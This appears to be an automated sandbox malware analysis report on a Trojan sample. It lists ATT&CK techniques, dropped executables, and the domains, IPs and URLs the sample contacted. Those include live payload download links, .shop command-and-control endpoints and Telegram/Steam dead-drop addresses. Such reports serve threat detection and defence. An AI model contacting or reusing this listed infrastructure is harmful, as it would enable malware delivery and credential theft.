Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	21 Registry Run Keys / Startup Folder	511 Process Injection	111 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	21 Registry Run Keys / Startup Folder	41 Obfuscated Files or Information	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	55 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	261 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	511 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\KKEBKJJDGH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	100%	Joe Sandbox ML
C:\ProgramData\EBGDHJECFC.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\ProgramData\KKEBKJJDGH.exe	21%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	21%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://www.entrust.net/rpa03	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://steamcommunity.com/?subsection=broadcasts	0%	Avira URL Cloud	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
http://cowod.hopto.org	0%	Avira URL Cloud	safe
https://store.steampowered.com/subscriber_agreement/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://cowod.hopto.org/Z	0%	Avira URL Cloud	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://www.entrust.net/rpa0	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G	0%	Avira URL Cloud	safe
reinforcenh.shop	100%	Avira URL Cloud	malware
https://5.75.211.162/vcruntime140.dllQ:	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1208948http://147.45.44.104/prog/66f4247d5181	100%	Avira URL Cloud	malware
stogeneratmns.shop	100%	Avira URL Cloud	malware
https://5.75.211.162/mozglue.dll	0%	Avira URL Cloud	safe
https://login.s	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe	100%	Avira URL Cloud	malware
http://cowod.hopto.org/j	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199780418869/badges	100%	Avira URL Cloud	malware
http://www.valvesoftware.com/legal.htm	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	Avira URL Cloud	safe
https://www.youtube.com	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://cowod.hopto.org_DEBUG.zip/c	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	Avira URL Cloud	safe
https://5.75.211.162/freebl3.dll	0%	Avira URL Cloud	safe
https://reinforcenh.shop/api	100%	Avira URL Cloud	malware
ghostreedmnu.shop	100%	Avira URL Cloud	malware
https://5.75.211.162/sqlp.dllJ	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	Avira URL Cloud	safe
https://5.75.211.162/vcruntime140.dll	0%	Avira URL Cloud	safe
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	0%	Avira URL Cloud	safe
https://5.75.211.162h;	0%	Avira URL Cloud	safe
https://5.75.211.162	0%	Avira URL Cloud	safe
http://cowod.hopto.	0%	Avira URL Cloud	safe
http://api.ipify.org/	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://5.75.211.162FCBKF	0%	Avira URL Cloud	safe
http://cowod.hopto	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://store.steampowered.com/privac	0%	Avira URL Cloud	safe
https://t.me/ae5ed	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF	0%	Avira URL Cloud	safe
https://yalubluseks.eu/receive.php	0%	Avira URL Cloud	safe
https://performenj.shop/	100%	Avira URL Cloud	malware
https://sketchfab.com	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e	0%	Avira URL Cloud	safe
https://www.youtube.com/	0%	Avira URL Cloud	safe
http://cowod.hoptoIEBFCGI	0%	Avira URL Cloud	safe
https://store.steampowered.com/points/shop/	0%	Avira URL Cloud	safe
http://cowod.KECFHIEBFCGI	0%	Avira URL Cloud	safe
https://vozmeatillu.shop/api	100%	Avira URL Cloud	malware
https://store.steampowered.com/privacy_agreement/	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	Avira URL Cloud	safe
fragnantbui.shop	100%	Avira URL Cloud	malware
offensivedzvju.shop	100%	Avira URL Cloud	malware
http://cowod.hopto.EBFCGI	0%	Avira URL Cloud	safe
https://offensivedzvju.shop/api	100%	Avira URL Cloud	malware
drawzhotdog.shop	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe	100%	Avira URL Cloud	malware
vozmeatillu.shop	100%	Avira URL Cloud	malware
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	Avira URL Cloud	safe
https://5.75.211.162/vcruntime140.dllf:	0%	Avira URL Cloud	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	Avira URL Cloud	safe
https://drawzhotdog.shop/api	100%	Avira URL Cloud	malware
https://5.75.211.162/x	0%	Avira URL Cloud	safe
https://steamcommunity.com/my/wishlist/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fragnantbui.shop	188.114.97.3	true	true	unknown
performenj.shop	104.21.51.224	true	true	unknown
gutterydhowi.shop	172.67.132.32	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
offensivedzvju.shop	188.114.97.3	true	true	unknown
drawzhotdog.shop	104.21.58.182	true	true	unknown
ghostreedmnu.shop	188.114.97.3	true	true	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
stogeneratmns.shop	188.114.96.3	true	true	unknown
reinforcenh.shop	104.21.77.130	true	true	unknown
api.ipify.org	104.26.12.205	true	false	unknown
vozmeatillu.shop	188.114.96.3	true	true	unknown
yalubluseks.eu	188.114.96.3	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
reinforcenh.shop	true	Avira URL Cloud: malware	unknown
stogeneratmns.shop	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/mozglue.dll	true	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe	false	Avira URL Cloud: malware	unknown
https://5.75.211.162/freebl3.dll	true	Avira URL Cloud: safe	unknown
https://reinforcenh.shop/api	true	Avira URL Cloud: malware	unknown
ghostreedmnu.shop	true	Avira URL Cloud: malware	unknown
https://5.75.211.162/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://api.ipify.org/	false	Avira URL Cloud: safe	unknown
https://yalubluseks.eu/receive.php	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://vozmeatillu.shop/api	true	Avira URL Cloud: malware	unknown
fragnantbui.shop	true	Avira URL Cloud: malware	unknown
https://offensivedzvju.shop/api	true	Avira URL Cloud: malware	unknown
offensivedzvju.shop	true	Avira URL Cloud: malware	unknown
drawzhotdog.shop	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe	false	Avira URL Cloud: malware	unknown
vozmeatillu.shop	true	Avira URL Cloud: malware	unknown
https://drawzhotdog.shop/api	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EGIIJD.3.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	EGIIJD.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.org	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.org/Z	RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3010666242.000000000146F000.00000004.00000020.00020000.00000000.sdmp, GIJEGD.3.dr	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1208948http://147.45.44.104/prog/66f4247d5181	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://5.75.211.162/vcruntime140.dllQ:	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.s	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869/badges	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: malware	unknown
http://cowod.hopto.org/j	RegAsm.exe, 00000003.00000002.3010666242.0000000001477000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://5.75.211.162/sqlp.dllJ	RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.211.162h;	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0	file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.211.162	76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
http://cowod.hopto	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://5.75.211.162FCBKF	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://s.ytimg.com;	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MFDBG.exe, 00000008.00000002.4507693462.00000000022E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privac	RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steam.tv/	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://t.me/ae5ed	file.exe, 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3251431610.0000000026AA1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr	false	URL Reputation: safe	unknown
https://performenj.shop/	RegAsm.exe, 0000000D.00000002.2962613182.000000000145A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962613182.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://cowod.hoptoIEBFCGI	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.entrust.net/rpa03	file.exe, 66f4247d51812_lfdsjna[1].exe.3.dr, EBGDHJECFC.exe.3.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/points/shop/	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EGIIJD.3.dr	false	URL Reputation: safe	unknown
https://sketchfab.com	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	EGIIJD.3.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	RegAsm.exe, 0000000D.00000002.2962425242.000000000142E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FHCGCA.3.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	RegAsm.exe, 0000000D.00000002.2969814382.0000000001499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cowod.KECFHIEBFCGI	RegAsm.exe, 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	RegAsm.exe, 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.2972454624.00000000014A6000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	Avira URL Cloud: safe	unknown
